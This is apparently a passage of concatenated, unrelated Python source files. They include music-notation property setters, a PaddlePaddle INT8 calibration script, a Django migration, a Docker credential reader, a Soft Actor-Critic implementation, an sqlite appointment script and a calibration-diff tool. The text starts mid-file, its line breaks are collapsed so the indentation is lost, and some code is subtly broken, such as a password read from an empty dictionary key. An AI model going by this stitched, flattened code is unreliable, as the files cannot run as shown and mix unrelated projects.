TypeError("'step_size' must be 'abjad.Duration', 'str', " "'tuple', or a number") self._step_size = abjad.Duration(step_size) @property def max_steps(self) -> int: r'The maximum number of steps per operation.' return self._max_steps @max_steps.setter def max_steps(self, max_steps: int, ) -> None: if not isinstance(max_steps, int): raise TypeError("'max_steps' must be 'int'") if max_steps < 1: raise ValueError("'max_steps' must be greater than zero") self._max_steps = max_steps @property def forward_bias(self) -> float: r"""The chance of the window moving forward instead of backwards. It should range from 0.0 to 1.0 (default 1.0, which means the window can only move forwards. A value of 0.5 gives 50% chance of moving forwards while a value of 0.0 will move the window only backwards). """ return self._forward_bias @forward_bias.setter def forward_bias(self, forward_bias: float, ) -> None: if not isinstance(forward_bias, float): raise TypeError("'forward_bias' must be 'float'") if forward_bias < 0.0 or forward_bias > 1.0: raise ValueError("'forward_bias' must be between 0.0 and 1.0") self._forward_bias = forward_bias @property def omit_time_signatures(self) -> bool: r'When ``True``, all time signatures will be omitted from the output.' return self._omit_time_signatures @omit_time_signatures.setter def omit_time_signatures(self, omit_time_signatures: bool, ) -> None: if not isinstance(omit_time_signatures, bool): raise TypeError("'omit_time_signatures' must be 'bool'") self._omit_time_signatures = omit_time_signatures @property def remove_unterminated_ties(self) -> bool: r"""When ``True``, the last element of the |abjad.Selection| returned by a call will have any ties removed. This means that splitted logical ties will not tie accross multiple calls. """ return self._remove_unterminated_ties @remove_unterminated_ties.setter def remove_unterminated_ties(self, remove_unterminated_ties: bool, ) -> None: if not isinstance(remove_unterminated_ties, bool): raise TypeError("'remove_unterminated_ties' must be 'bool'") self._remove_unterminated_ties = remove_unterminated_ties @property def boundary_depth(self) -> Union[int, None]: r"""Sets the argument ``boundary_depth`` of |abjad.Meter.rewrite_meter()|. """ return self._boundary_depth @boundary_depth.setter def boundary_depth(self, boundary_depth: Optional[int], ) -> None: if boundary_depth is not None: if not isinstance(boundary_depth, int): raise TypeError("'boundary_depth' must be 'int'") self._boundary_depth = boundary_depth @property def maximum_dot_count(self) -> Union[int, None]: r"""Sets the argument ``maximum_dot_count`` of |abjad.Meter.rewrite_meter()|. """ return self._maximum_dot_count @maximum_dot_count.setter def maximum_dot_count(self, maximum_dot_count: Optional[int], ) -> None: if maximum_dot_count is not None: if not isinstance(maximum_dot_count, int): raise TypeError("'maximum_dot_count' must be 'int'") self._maximum_dot_count = maximum_dot_count @property def rewrite_tuplets(self) -> bool: r"""Sets the argument ``rewrite_tuplets`` of |abjad.Meter.rewrite_meter()|. """ return self._rewrite_tuplets @rewrite_tuplets.setter def rewrite_tuplets(self, rewrite_tuplets: bool, ) -> None: if not isinstance(rewrite_tuplets, bool): raise TypeError("'rewrite_tuplets' must be 'bool'") self._rewrite_tuplets = rewrite_tuplets @property def prettify_rewrite_meter(self) -> bool: r"""Used to enable or disable the mutation |auxjad.mutate.prettify_rewrite_meter()| (default ``True``). """ return self._prettify_rewrite_meter @prettify_rewrite_meter.setter def prettify_rewrite_meter(self, prettify_rewrite_meter: bool, ) -> None: if not isinstance(prettify_rewrite_meter, bool): raise TypeError("'prettify_rewrite_meter' must be 'bool'") self._prettify_rewrite_meter = prettify_rewrite_meter @property def extract_trivial_tuplets(self) -> bool: r"""Sets the argument ``extract_trivial_tuplets`` of |auxjad.mutate.prettify_rewrite_meter()|. """ return self._extract_trivial_tuplets @extract_trivial_tuplets.setter def extract_trivial_tuplets(self, extract_trivial_tuplets: bool, ) -> None: if not isinstance(extract_trivial_tuplets, bool): raise TypeError("'extract_trivial_tuplets' must be 'bool'") self._extract_trivial_tuplets = extract_trivial_tuplets @property def fuse_across_groups_of_beats(self) -> bool: r"""Sets the argument ``fuse_across_groups_of_beats`` of |auxjad.mutate.prettify_rewrite_meter()|. """ return self._fuse_across_groups_of_beats @fuse_across_groups_of_beats.setter def fuse_across_groups_of_beats(self, fuse_across_groups_of_beats: bool, ) -> None: if not isinstance(fuse_across_groups_of_beats, bool): raise TypeError("'fuse_across_groups_of_beats' must be 'bool'") self._fuse_across_groups_of_beats = fuse_across_groups_of_beats @property def fuse_quadruple_meter(self) -> bool: r"""Sets the argument ``fuse_quadruple_meter`` of |auxjad.mutate.prettify_rewrite_meter()|. """ return self._fuse_quadruple_meter @fuse_quadruple_meter.setter def fuse_quadruple_meter(self, fuse_quadruple_meter: bool, ) -> None: if not isinstance(fuse_quadruple_meter, bool): raise TypeError("'fuse_quadruple_meter' must be 'bool'") self._fuse_quadruple_meter = fuse_quadruple_meter @property def fuse_triple_meter(self) -> bool: r"""Sets the argument ``fuse_triple_meter`` of |auxjad.mutate.prettify_rewrite_meter()|. """ return self._fuse_triple_meter @fuse_triple_meter.setter def fuse_triple_meter(self, fuse_triple_meter: bool, ) -> None: if not isinstance(fuse_triple_meter, bool): raise TypeError("'fuse_triple_meter' must be 'bool'") self._fuse_triple_meter = fuse_triple_meter @property def process_on_first_call(self) -> bool: r"""If ``True`` then :attr:`contents` will be processed in the very first call. """ return self._process_on_first_call @process_on_first_call.setter def process_on_first_call(self, process_on_first_call: bool, ) -> None: if not isinstance(process_on_first_call, bool): raise TypeError("'process_on_first_call' must be 'bool'") self._process_on_first_call = process_on_first_call ### PRIVATE PROPERTIES ### @property def _done(self) -> bool: r""":obj:`bool` indicating whether the process is done (i.e. whether the pivot point has overtaken the :attr:`contents`'s length). Only :meth:`__next__` and :meth:`output_all` make use of it, since regular calls make use of the module of the position of the pivot point in relation to the duration of :attr:`contents`, allowing for infinitely many calls. """ return (self._pivot_point >= self._contents_length or self._pivot_point <= -self._contents_length) from __future__ import absolute_import from __future__ import division # from __future__ import print_function import numpy as np import time import sys import paddle import paddle.fluid as fluid import reader import argparse import functools from utility import add_arguments, print_arguments import paddle.fluid.core as core import os sys.path.append('..') import int8_supporting.utility as ut parser = argparse.ArgumentParser(description=__doc__) add_arg = functools.partial(add_arguments, argparser=parser) # yapf: disable add_arg('batch_size', int, 32, "Minibatch size.") add_arg('use_gpu', bool, True, "Whether to use GPU or not.") add_arg('class_dim', int, 1000, "Class number.") add_arg('image_shape', str, "3,224,224", "Input image size") add_arg('out', str, "calibration_out", "Output INT8 model") add_arg('with_mem_opt', bool, True, "Whether to use memory optimization or not.") add_arg('use_train_data', bool, False, "Whether to use train data for sampling or not.") add_arg('pretrained_model', str, None, "Whether to use pretrained model.") add_arg('model', str, "SE_ResNeXt50_32x4d", "Set the network to use.") add_arg('iterations', int, 1, "Sampling iteration") add_arg('algo', str, 'direct', "calibration algo") add_arg('debug', bool, False, "print program and save the dot file") add_arg('first_conv_int8', bool, False, "enable the first convolution int8") add_arg('model_category', str, "models_name", "Whether to use models_name or not, valid value:'models','models_name'." ) # yapf: enable def set_models(model_category): global models assert model_category in ["models", "models_name" ], "{} is not in lists: {}".format( model_category, ["models", "models_name"]) if model_category == "models_name": import models_name as models else: import models as models def dropout_opt(test_program): dropout_op_index = [index for index, value in enumerate(test_program.global_block().ops) if value.type == 'dropout'] dropout_op_index.reverse() for i in dropout_op_index: dropout_op = test_program.current_block().ops[i] input_name = dropout_op.input_arg_names[0] output_names = dropout_op.output_arg_names output_name = output_names[1] for n in range(i, len(test_program.current_block().ops)): op_n = test_program.current_block().ops[n] if output_name not in op_n.input_arg_names: continue for k in op_n.input_names: op_n_inputs = op_n.input(k) if len(op_n_inputs) > 0 and output_name in op_n_inputs: op_n_new_inputs = [ input_name if op_n_input == output_name else op_n_input for op_n_input in op_n_inputs ] op_n.desc.set_input(k, op_n_new_inputs) test_program.current_block()._remove_op(i) for output_name in output_names: test_program.current_block()._remove_var(output_name) return test_program def eval(args): # parameters from arguments class_dim = args.class_dim model_name = args.model pretrained_model = args.pretrained_model with_memory_optimization = args.with_mem_opt image_shape = [int(m) for m in args.image_shape.split(",")] model_list = [m for m in dir(models) if "__" not in m] assert model_name in model_list, "{} is not in lists: {}".format(args.model, model_list) int8_model = os.path.join(os.getcwd(), args.out) print("Start calibration for {}...".format(model_name)) tmp_scale_folder = ".tmp_scale" if os.path.exists( int8_model): # Not really need to execute below operations os.system("rm -rf " + int8_model) os.system("mkdir " + int8_model) if not os.path.exists(tmp_scale_folder): os.system("mkdir {}".format(tmp_scale_folder)) image = fluid.layers.data(name='image', shape=image_shape, dtype='float32') label = fluid.layers.data(name='label', shape=[1], dtype='int64') # model definition model = models.__dict__[model_name]() if model_name == "GoogleNet": out0, out1, out2 = model.net(input=image, class_dim=class_dim) cost0 = fluid.layers.cross_entropy(input=out0, label=label) cost1 = fluid.layers.cross_entropy(input=out1, label=label) cost2 = fluid.layers.cross_entropy(input=out2, label=label) avg_cost0 = fluid.layers.mean(x=cost0) avg_cost1 = fluid.layers.mean(x=cost1) avg_cost2 = fluid.layers.mean(x=cost2) avg_cost = avg_cost0 + 0.3 * avg_cost1 + 0.3 * avg_cost2 acc_top1 = fluid.layers.accuracy(input=out0, label=label, k=1) acc_top5 = fluid.layers.accuracy(input=out0, label=label, k=5) else: out = model.net(input=image, class_dim=class_dim) cost = fluid.layers.cross_entropy(input=out, label=label) avg_cost = fluid.layers.mean(x=cost) acc_top1 = fluid.layers.accuracy(input=out, label=label, k=1) acc_top5 = fluid.layers.accuracy(input=out, label=label, k=5) test_program = fluid.default_main_program().clone(for_test=True) if with_memory_optimization: fluid.memory_optimize(fluid.default_main_program()) place = fluid.CUDAPlace(0) if args.use_gpu else fluid.CPUPlace() exe = fluid.Executor(place) exe.run(fluid.default_startup_program()) if pretrained_model: def if_exist(var): return os.path.exists(os.path.join(pretrained_model, var.name)) fluid.io.load_vars(exe, pretrained_model, predicate=if_exist) t = fluid.transpiler.InferenceTranspiler() t.transpile(test_program, fluid.CUDAPlace(0) if args.use_gpu else fluid.CPUPlace()) # prune dropout op test_program = dropout_opt(test_program) sampling_reader = paddle.batch( reader.train() if args.use_train_data else reader.val(), batch_size=args.batch_size) feeder = fluid.DataFeeder(place=place, feed_list=[image, label]) fetch_list = [avg_cost.name, acc_top1.name, acc_top5.name] calibrator = ut.Calibrator( program=test_program, pretrained_model=pretrained_model, iterations=args.iterations, debug=args.debug, first_conv_int8=args.first_conv_int8, algo=args.algo) sampling_data = {} calibrator.generate_sampling_program() feeded_var_names = None for batch_id, data in enumerate(sampling_reader()): _, _, _ = exe.run(calibrator.sampling_program, fetch_list=fetch_list, feed=feeder.feed(data)) for i in calibrator.sampling_program.list_vars(): if i.name in calibrator.sampling_vars: np_data = np.array(fluid.global_scope().find_var(i.name) .get_tensor()) if i.name not in sampling_data: sampling_data[i.name] = [] sampling_data[i.name].append(np_data) if batch_id != args.iterations - 1: continue feeded_var_names = feeder.feed(data).keys() break calibrator.generate_quantized_data(sampling_data) fluid.io.save_inference_model(int8_model, feeded_var_names, [ calibrator.sampling_program.current_block().var(i) for i in fetch_list ], exe, calibrator.sampling_program) print( "Calibration is done and the corresponding files were generated at {}". format(os.path.abspath(args.out))) def main(): args = parser.parse_args() print_arguments(args) set_models(args.model_category) eval(args) if __name__ == '__main__': main() # Generated by Django 3.1.7 on 2021-09-09 17:45 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('dm_page', '0045_auto_20210909_1742'), ] operations = [ migrations.RenameModel( old_name='Paramètres', new_name='Paramètre', ), migrations.RenameModel( old_name='RecettesFiscales', new_name='RecettesFiscale', ), ] """Cook with Chef without a Chef Server With LittleChef you will be able to get started more quickly cooking with Chef_, the excellent Configuration Management System. You will just need your local (preferably version controled) kitchen with all your cookbooks, roles data bags and nodes, which will get rsynced to a node each time you start a Chef Solo configuration run with the bundled 'fix' command. It also adds features to Chef Solo that are currently only available for Chef Server users: data bag search, and node search. .. _Chef: http://wiki.opscode.com/display/chef/Home """ __version__ = "1.2.0" __author__ = " <>" __cooking__ = False chef_environment = None loglevel = "info" verbose = False LOGFILE = '/var/log/chef/solo.log' enable_logs = True 1-10 import re import json import base64 import codecs import os.path import asyncio import subprocess _PREFIX = 'docker-credential-' def read_config(): path = os.path.expanduser('~/.docker/config.json') if not os.path.exists(path): return {} with codecs.open(path, encoding='utf-8') as f: json_data = f.read() return json.loads(json_data) async def _read_creds(creds_store, server): if not re.match(r'^\w+$', creds_store, re.ASCII): raise ValueError('Invalid credsStore: {!r}'.format(creds_store)) proc = await asyncio.create_subprocess_exec( _PREFIX + creds_store, 'get', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) stdout, stderr = await proc.communicate(server.encode('ascii')) if proc.returncode != 0: return None else: data = json.loads(stdout) return { 'Username': data['Username'], 'Password': data[''], 'ServerAddress': server, } def _decode_auth(auth_data, server): auth_data_decoded = base64.b64decode(auth_data).decode('utf-8') username, _, password = auth_data_decoded.partition(':') return { 'Username': username, 'Password': password, 'ServerAddress': server, } async def resolve_auth(config, server): config_auths = config.get('auths') if config_auths is None: return None server_auth = config_auths.get(server) if server_auth is not None: auth_data = server_auth.get('auth') if auth_data is not None: return _decode_auth(auth_data, server) creds_store = config.get('credsStore') if creds_store is not None: return await _read_creds(creds_store, server) return None def server_name(image_name): registry, _, name = image_name.partition('/') if not name: return 'docker.io' else: return registry def encode_header(auth): json_data = json.dumps(auth) return base64.urlsafe_b64encode(json_data.encode('ascii')) """The tests for the Binary sensor component.""" from unittest import mock from homeassistant.components import binary_sensor from homeassistant.const import STATE_OFF, STATE_ON def test_state(): """Test binary sensor state.""" sensor = binary_sensor.BinarySensorEntity() assert sensor.state is None with mock.patch( "homeassistant.components.binary_sensor.BinarySensorEntity.is_on", new=False, ): assert binary_sensor.BinarySensorEntity().state == STATE_OFF with mock.patch( "homeassistant.components.binary_sensor.BinarySensorEntity.is_on", new=True, ): assert binary_sensor.BinarySensorEntity().state == STATE_ON exercism/python/armstrong-numbers/armstrong_numbers.py def is_armstrong(number): string = str(number) lenth = len(string) accumulator = 0 for num in string: accumulator += int(num)**lenth return accumulator == number 1-10 import sys, os, Image, ExifTags class ImageHelper: def __init__(self): self.data = []; def createThumb(self, imageFile): # landscape if imageFile.size[0] > imageFile.size[1]: if sys.argv[3] < imageFile.size[1]: if imageFile.format is 'JPEG': imageFile = imageFile.rotate(180, expand=True); imageFile.thumbnail((int(sys.argv[3]), int(imageFile.size[1])), Image.ANTIALIAS); # portrait else: imageFile.thumbnail((int(imageFile.size[0]), int(sys.argv[3])), Image.ANTIALIAS); # imageType can be image (by default) or the filename in case we are passing the folder def saveFile(self, imageFile, imageType = 'image'): if len(sys.argv) > 4: if sys.argv[4] is not None: filename = '.thumb.' + sys.argv[4]; else: filename = '.thumb'; if imageType == 'image': imageFile.save( os.path.splitext(sys.argv[2])[0] + filename + os.path.splitext(sys.argv[2])[1], imageFile.format, quality=100 ); else: imageFile.save( sys.argv[2] + os.path.splitext(imageType)[0] + filename + os.path.splitext(imageType)[1], imageFile.format, quality=100 ); import copy import logging from itertools import chain import numpy as np import torch from torch.nn import functional as F from rltoolkit import config from rltoolkit.algorithms.ddpg import DDPG from rltoolkit.algorithms.sac.models import SAC_Actor, SAC_Critic logger = logging.getLogger(__name__) class SAC(DDPG): def __init__( self, alpha_lr: float = config.ALPHA_LR, alpha: float = config.ALPHA, tau: float = config.TAU, pi_update_freq: int = config.PI_UPDATE_FREQ, act_noise: float = 0, *args, **kwargs, ): f"""Soft Actor-Critic implementation Args: alpha_lr (float, optional): Learning rate of the alpha. Defaults to { config.ALPHA_LR }. alpha (float, optional): Initial alpha value. Defaults to { config.ALPHA }. pi_update_freq (int, optional): Frequency of policy updates (in SAC updates). Defaults to { config.PI_UPDATE_FREQ }. act_noise (float, optional): Actions noise multiplier. Defaults to { 0 }. actor_lr (float, optional): Learning rate of the actor. Defaults to { config.DDPG_LR }. critic_lr (float, optional): Learning rate of the critic. Defaults to { config.DDPG_LR }. tau (float, optional): Tau coefficient for polyak averaging. Defaults to { config.TAU }. update_batch_size (int, optional): Batch size for gradient step. Defaults to { config.UPDATE_BATCH_SIZE }. buffer_size (int, optional): Size of replay buffer. Defaults to { config.BUFFER_SIZE }. random_frames (int, optional): Number of frames with random actions at the beggining. Defaults to { config.RANDOM_FRAMES }. update_freq (int, optional): Freqency of SAC updates (in frames). Defaults to { config.UPDATE_FREQ }. grad_steps (int, optional): Number of SAC updates for one step. Defaults to { config.GRAD_STEPS }. env_name (str, optional): Name of the gym environment. Defaults to { config.ENV_NAME }. gamma (float, optional): Discount factor. Defaults to { config.GAMMA }. stats_freq (int, optional): Frequency of logging the progress. Defaults to { config.STATS_FREQ }. steps_per_epoch (int, optional): Number of frames used for one algorithm step (could be higher because batch collection stops when rollout ends). Defaults to { config.STEPS_PER_EPOCH }. iterations (int, optional): Number of algorithms iterations. Defaults to { config.ITERATIONS }. max_frames (int, optional): Limit of frames for training. Defaults to { None }. return_done (Union[int, None], optional): target return, which will stop training if reached. Defaults to { config.RETURN_DONE }. log_dir (str, optional): Path for basic logs which includes final model. Defaults to { config.LOG_DIR }. use_gpu (bool, optional): Use CUDA. Defaults to { config.USE_GPU }. tensorboard_dir (Union[str, None], optional): Path to tensorboard logs. Defaults to { config.TENSORBOARD_DIR }. tensorboard_comment (str, optional): Comment for tensorboard files. Defaults to { config.TENSORBOARD_COMMENT }. verbose (int, optional): Verbose level. Defaults to { config.VERBOSE }. render (bool, optional): Render rollouts to tensorboard. Defaults to { config.RENDER }. """ super().__init__(*args, **kwargs) self._critic_1 = None self.critic_1_optimizer = None self.critic_1_targ = None self._critic_2 = None self.critic_2_optimizer = None self.critic_2_targ = None self.alpha_lr = alpha_lr self.alpha = alpha self.pi_update_freq = pi_update_freq self.actor = SAC_Actor(self.ob_dim, self.ac_lim, self.ac_dim, self.discrete) self.critic_1 = SAC_Critic(self.ob_dim, self.ac_dim, self.discrete) self.critic_2 = SAC_Critic(self.ob_dim, self.ac_dim, self.discrete) self.loss = {"actor": 0.0, "critic_1": 0.0, "critic_2": 0.0} new_hparams = { "hparams/alpha_lr": self.alpha_lr, "hparams/alpha": self.alpha, "hparams/pi_update_freq": self.pi_update_freq, } self.hparams.update(new_hparams) self.target_entropy = -torch.prod( torch.tensor(self.ac_dim, dtype=torch.float32) ).item() self.log_alpha = torch.tensor( np.log(self.alpha), requires_grad=True, device=self.device ) self.alpha_opt = self.opt([self.log_alpha], lr=alpha_lr) @property def actor(self): return self._actor @actor.setter def actor(self, model: torch.nn.Module): self._actor, self.actor_optimizer = self.set_model(model, self.actor_lr) @property def critic_1(self): return self._critic_1 @critic_1.setter def critic_1(self, model: torch.nn.Module): self._critic_1, self.critic_1_optimizer = self.set_model(model, self.critic_lr) self.critic_1_targ = copy.deepcopy(self._critic_1) @property def critic_2(self): return self._critic_2 @critic_2.setter def critic_2(self, model: torch.nn.Module): self._critic_2, self.critic_2_optimizer = self.set_model(model, self.critic_lr) self.critic_2_targ = copy.deepcopy(self._critic_2) def compute_qfunc_targ( self, reward: torch.Tensor, next_obs: torch.Tensor, done: torch.Tensor ): """Compute targets for Q-functions Args: reward (torch.Tensor): batch of rewards next_obs (torch.Tensor): batch of next observations done (torch.Tensor): batch of done Returns: torch.Tensor: Q-function targets for the batch """ with torch.no_grad(): sampled_next_action, sampled_next_logprob = self._actor(next_obs) q1_target = self.critic_1_targ(next_obs, sampled_next_action) q2_target = self.critic_2_targ(next_obs, sampled_next_action) q_target = torch.min(q1_target, q2_target) qfunc_target = reward + self.gamma * (1 - done) * ( q_target - self.alpha * sampled_next_logprob ) return qfunc_target def compute_pi_loss( self, obs: torch.Tensor, sampled_action: torch.Tensor, sampled_logprob: torch.Tensor, ): """Loss for the policy Args: obs (torch.Tensor): batch of observations sampled_action (torch.Tensor): actions sampled from policy sampled_logprob (torch.Tensor): log-probabilities of actions Returns: torch.Tensor: policy loss """ q1 = self._critic_1(obs, sampled_action) q2 = self._critic_2(obs, sampled_action) q = torch.min(q1, q2) loss = (self.alpha * sampled_logprob - q).mean() return loss def update_target_q(self): """Update target networks with Polyak averaging """ with torch.no_grad(): # Polyak averaging: critics_params = chain( self._critic_1.parameters(), self._critic_2.parameters() ) targets_params = chain( self.critic_1_targ.parameters(), self.critic_2_targ.parameters() ) for q_params, targ_params in zip(critics_params, targets_params): targ_params.data.mul_(1 - self.tau) targ_params.data.add_((self.tau) * q_params.data) def compute_alpha_loss(self, sampled_logprob: torch.Tensor): """Compute loss for temperature update Args: sampled_logprob (torch.Tensor): batch of sampled log-probabilities from the actor Returns: torch.Tensor: loss for temperature (alpha) """ # alpha_loss = ( # self.log_alpha * (-sampled_logprob.detach() - self.target_entropy) # ).mean() sampled_logprob = sampled_logprob.detach() alpha_loss = self.log_alpha.exp() * (-sampled_logprob - self.target_entropy) return alpha_loss.mean() def update( self, obs: torch.Tensor, next_obs: torch.Tensor, action: torch.Tensor, reward: torch.Tensor, done: torch.Tensor, ): """Soft Actor-Critic update: Args: obs (torch.Tensor): observations tensor next_obs (torch.Tensor): next observations tensor action (torch.Tensor): actions tensor reward (torch.Tensor): rewards tensor done (torch.Tensor): dones tensor """ y = self.compute_qfunc_targ(reward, next_obs, done) # Update Q-functions by one step y_q1 = self._critic_1(obs, action) loss_q1 = F.mse_loss(y_q1, y) y_q2 = self._critic_2(obs, action) loss_q2 = F.mse_loss(y_q2, y) self.loss["critic_1"] = loss_q1.item() self.loss["critic_2"] = loss_q2.item() self.critic_1_optimizer.zero_grad() loss_q1.backward() self.critic_1_optimizer.step() self.critic_2_optimizer.zero_grad() loss_q2.backward() self.critic_2_optimizer.step() # Update policy by one step self._critic_1.eval() self._critic_2.eval() sampled_action, sampled_logprob = self._actor(obs) # if self.stats_logger.frames % (self.update_freq * self.pi_update_freq) == 0: loss = self.compute_pi_loss(obs, sampled_action, sampled_logprob) self.loss["actor"] = loss.item() self.actor_optimizer.zero_grad() loss.backward() self.actor_optimizer.step() # Update target networks self.update_target_q() self._critic_1.train() self._critic_2.train() # Update temperature alpha_loss = self.compute_alpha_loss(sampled_logprob) self.alpha_opt.zero_grad() alpha_loss.backward() self.alpha_opt.step() self.alpha = self.log_alpha.exp().item() def add_tensorboard_logs(self, *args, **kwargs): super().add_tensorboard_logs(*args, **kwargs) if self.debug_mode: self.tensorboard_writer.log_sac_alpha(self.iteration, self.alpha) def collect_params_dict(self): params_dict = {} params_dict["actor"] = self.actor.state_dict() params_dict["critic_1"] = self.critic_1.state_dict() params_dict["critic_2"] = self.critic_2.state_dict() params_dict["obs_mean"] = self.replay_buffer.obs_mean params_dict["obs_std"] = self.replay_buffer.obs_std params_dict["min_obs"] = self.replay_buffer.min_obs params_dict["max_obs"] = self.replay_buffer.max_obs return params_dict def apply_params_dict(self, params_dict): self.actor.load_state_dict(params_dict["actor"]) self.critic_1.load_state_dict(params_dict["critic_1"]) self.critic_2.load_state_dict(params_dict["critic_2"]) self.obs_mean = params_dict["obs_mean"] self.obs_std = params_dict["obs_std"] self.min_obs = params_dict["min_obs"] self.max_obs = params_dict["max_obs"] self.replay_buffer.obs_mean = self.obs_mean self.replay_buffer.obs_std = self.obs_std self.replay_buffer.min_obs = self.min_obs self.replay_buffer.max_obs = self.max_obs def save_model(self, save_path=None) -> str: if self.filename is None and save_path is None: raise AttributeError elif save_path is None: save_path = str(self.log_path) torch.save(self._actor.state_dict(), save_path + "_actor_model.pt") torch.save(self._critic_1.state_dict(), save_path + "_critic_1_model.pt") torch.save(self._critic_2.state_dict(), save_path + "_critic_2_model.pt") return save_path if __name__ == "__main__": #with torch.cuda.device(1): model = SAC( env_name="HalfCheetah-v2", iterations=200, gamma=0.99, steps_per_epoch=1000, stats_freq=5, test_episodes=2, update_batch_size=100, update_freq=50, grad_steps=50, # random_frames=10000, use_gpu=True, obs_norm=False, tensorboard_dir="logs_norm", tensorboard_comment="", ) model.train() # Copyright (C) 2020 Google Inc. # Licensed under http://www.apache.org/licenses/LICENSE-2.0 """Project model.""" from ggrc import db from ggrc.access_control.roleable import Roleable from ggrc.fulltext.mixin import Indexed from ggrc.models import mixins from ggrc.models.mixins import synchronizable from ggrc.models.comment import ScopedCommentable from ggrc.models.object_document import PublicDocumentable from ggrc.models.object_person import Personable from ggrc.models.relationship import Relatable class Project(Roleable, synchronizable.Synchronizable, mixins.CustomAttributable, Personable, Relatable, mixins.LastDeprecatedTimeboxed, PublicDocumentable, ScopedCommentable, mixins.TestPlanned, mixins.base.ContextRBAC, mixins.ScopeObject, mixins.Folderable, Indexed, db.Model): """Representation for Project model.""" __tablename__ = 'projects' _aliases = { "documents_file": None, } TadBak/python_weeklyweek43_set.py """Populating the simple appointments database with the data supplied by the user. Multiple appointment entries are possible. """ import sqlite3 from contextlib import closing import datetime from collections import namedtuple DATABASE = 'week43.db' User_entry = namedtuple('User_entry', [ 'title', # title is compulsory 'comment', # comment can be empty 'start', # string representation of datetime object 'hours', # integer, hours of appointment duration 'minutes' # integer, minutes in addition to hours duration ]) def get_user_input(): """Returns validated user input for inclusion into a database.""" print('--- New appointment entry ---') while True: title = input("Appointment's title? ") if len(title) == 0: print('Title can not be empty') else: break while True: print('Date and time of the appointment:') day = input('\tDay? ') month = input('\tMonth (number)? ') year = input('\tYear? ') hour = input('\tHour (24h clock)? ') minute = input('\tMinute? ') # successful conversion into datetime object indicates correct values # entered by user try: start = datetime.datetime(int(year), int(month), int(day), int(hour), int(minute)) break except ValueError: print('Please correct date and time') while True: print('Duration of the appointment:') # hour and minute of appointment duration must be non-negative integers, # total duration can not be zero try: hour = int(input('\tHours? ')) minute = int(input('\tMinutes? ')) if hour >= 0 and minute >= 0 and hour + minute > 0: break else: print('Please correct duration time') except ValueError: print('Please correct duration time') comment = input('Any comments? ') return User_entry(title, comment, str(start), hour, minute) # context manager assures that database connection is closed automatically with closing(sqlite3.connect(DATABASE)) as con: # sucessfull transactions are commited automatically with con: cur = con.cursor() # appointments start and end timestamps are stored as UTC julian dates, # therefore independent of time zones and daylight savings cur.execute('''CREATE TABLE IF NOT EXISTS appointments ( title TEXT NOT NULL, comment TEXT, start REAL, end REAL)''') while True: entry = get_user_input() # the end timestamp is calculated during insertion using SQLite # date and time function cur.execute('''INSERT INTO appointments VALUES ( ?, ?, julianday(?, 'utc'), julianday(?, ?, ?, 'utc'))''', (entry.title, entry.comment, entry.start, entry.start, f'+{entry.hours} hour', f'+{entry.minutes} minute')) if input('Press Y to make next appointment: ').lower() != 'y': break adventuretutorial/lxf/hownottodoit.py print ("The Game that should not be") print ("You are standing in a dimly lit room. To the west there is a door. In front of you there is a table. On the table is an apple.") action = input("What do you do?") if action == "move west": print("The door is locked.") elif action == "move south": print("You cannot go that way.") elif action == "move east": print("You cannot go that way.") elif action == "move north": print("You cannot go that way.") elif action == "take apple": print("You took the apple.") jschimpk/aoc2020 def run_case(filename): with open(filename, 'r') as f: groups = f.read().split('\n\n') # P1 group_sum = sum([len(set(group.replace('\n', ''))) for group in groups]) print(f'Sum of group responses: {group_sum}') # P2 num_yes_list = [] for group in groups: all_yes = 0 num_people = group.count('\n') + 1 responses = group.replace('\n', '') resp_set = set(responses) for resp in resp_set: if responses.count(resp) == num_people: all_yes += 1 num_yes_list.append(all_yes) print(f'Found sum: {sum(num_yes_list)} for num_yes_list: {num_yes_list}') if __name__ == '__main__': filenames = ['input-sample.txt', 'input-d6p1.txt'] for filename in filenames: run_case(filename) import os DEBUG = True and 'DEBUG' in os.environ and os.environ['DEBUG'] from deeplabchop import new, status, extract, label, util, wizard#, #predict, draw#, training """ Diff 2 CAL mevPerDAC (mevPerDAC) offline calibration XML files. The command line is: python mpdDiff.py where: = GLAST Cal mevPerDAC offline calib file = GLAST Cal mevPerDAC offline calib file = base filename for all output files """ __facility__ = "Offline" __abstract__ = "Diff 2 CAL mevPerDAC XML files." __author__ = "Z.Fewtrell" __date__ = "$Date: 2008/04/23 22:35:14 $" __version__ = "$Revision: 1.9 $, $Author: fewtrell $" __release__ = "$Name: $" __credits__ = "NRL code 7650" import sys import logging import array import numarray import calCalibXML import calConstant import cgc_util # setup logger logging.basicConfig() log = logging.getLogger('mpdDiff') log.setLevel(logging.INFO) # check command line if len(sys.argv) != 4: log.error("%d args found."%len(sys.argv)) log.error(__doc__) sys.exit(1) # get filenames mpdPath1 = sys.argv[1] mpdPath2 = sys.argv[2] outputBasename = sys.argv[3] # read in dac xml files log.info("Opening %s"%mpdPath1) mpdFile1 = calCalibXML.calMevPerDacCalibXML(mpdPath1) log.info("Opening %s"%mpdPath2) mpdFile2 = calCalibXML.calMevPerDacCalibXML(mpdPath2) # check that towers are the same (ok if they are, just print warning) mpdTwrs1 = mpdFile1.getTowers() mpdTwrs2 = mpdFile2.getTowers() if (mpdTwrs1 != mpdTwrs2): log.error("input files have different n towers. I quit! ;)") # load up arrays log.info("Reading %s"%mpdPath1) mpd1 = mpdFile1.read() log.info("Reading %s"%mpdPath2) mpd2 = mpdFile2.read() # set up pyROOT import ROOT ROOT.gROOT.Reset() rootPath = outputBasename + ".root" log.info("Opening %s"%rootPath) rootFile = ROOT.TFile(rootPath, "recreate", "mpdDiff(%s,%s)"%(mpdPath1,mpdPath2)) # calc diffs mpdDiff = (mpd2 - mpd1)/mpd1 #boolean map of active channels channelMap = mpd1.copy() channelMap[:] = 0 for twr in mpdTwrs1: channelMap[twr,:] = 1 # determine data limits for all plots minVals = None maxVals = None minDiff = None maxDiff = None for twr in mpdTwrs1: for idx in range(cgc_util.N_MPD_IDX): # first pass only compare against 1st set if minVals is None: minVals = numarray.ones(cgc_util.N_MPD_IDX,'f')*1e5 maxVals = numarray.ones(cgc_util.N_MPD_IDX,'f')*-1e5 minDiff = numarray.ones(cgc_util.N_MPD_IDX,'f')*1e5 maxDiff = numarray.ones(cgc_util.N_MPD_IDX,'f')*-1e5 minVals[idx] = min(numarray.ravel(mpd1[twr, ..., idx])) maxVals[idx] = max(numarray.ravel(mpd1[twr, ..., idx])) minVals[idx] = min(minVals[idx], min(numarray.ravel(mpd2[twr, ..., idx]))) 